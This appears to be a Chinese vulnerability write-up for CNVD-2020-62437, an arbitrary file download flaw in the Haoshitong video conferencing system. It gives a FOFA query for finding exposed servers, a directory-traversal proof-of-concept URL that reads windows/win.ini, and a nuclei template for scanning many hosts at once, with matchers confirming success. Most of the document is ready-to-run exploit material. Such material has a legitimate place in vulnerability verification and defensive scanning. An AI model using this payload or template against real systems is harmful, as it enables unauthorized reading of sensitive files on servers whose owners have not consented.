银澎云计算 好视通视频会议系统 任意文件下载 CNVD-2020-62437

漏洞描述

银澎云计算 好视通视频会议系统 存在任意文件下载，攻击者可以通过漏洞获取敏感信息

漏洞复现

fofa语法：app="好视通-视频会议"
登录页面如下：

POC:https://xxx.xxx.xxx.xxx/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini

nuclei批量yaml文件

id: haoshitong_fileread
info:
  name: 好视通视频会议系统 任意文件下载 CNVD-2020-62437
  author: mhb17
  severity: high
  description: description
  reference:
    - https://peiqi.wgpsec.org/wiki/webapp/%E9%93%B6%E6%BE%8E%E4%BA%91%E8%AE%A1%E7%AE%97/%E9%93%B6%E6%BE%8E%E4%BA%91%E8%AE%A1%E7%AE%97%20%E5%A5%BD%E8%A7%86%E9%80%9A%E8%A7%86%E9%A2%91%E4%BC%9A%E8%AE%AE%E7%B3%BB%E7%BB%9F%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BD%20CNVD-2020-62437.html
  tags: tags
requests:
  - raw:
      - |+
        GET /register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - for 16-bit app support
      - type: word
        part: header
        words:
          - '200'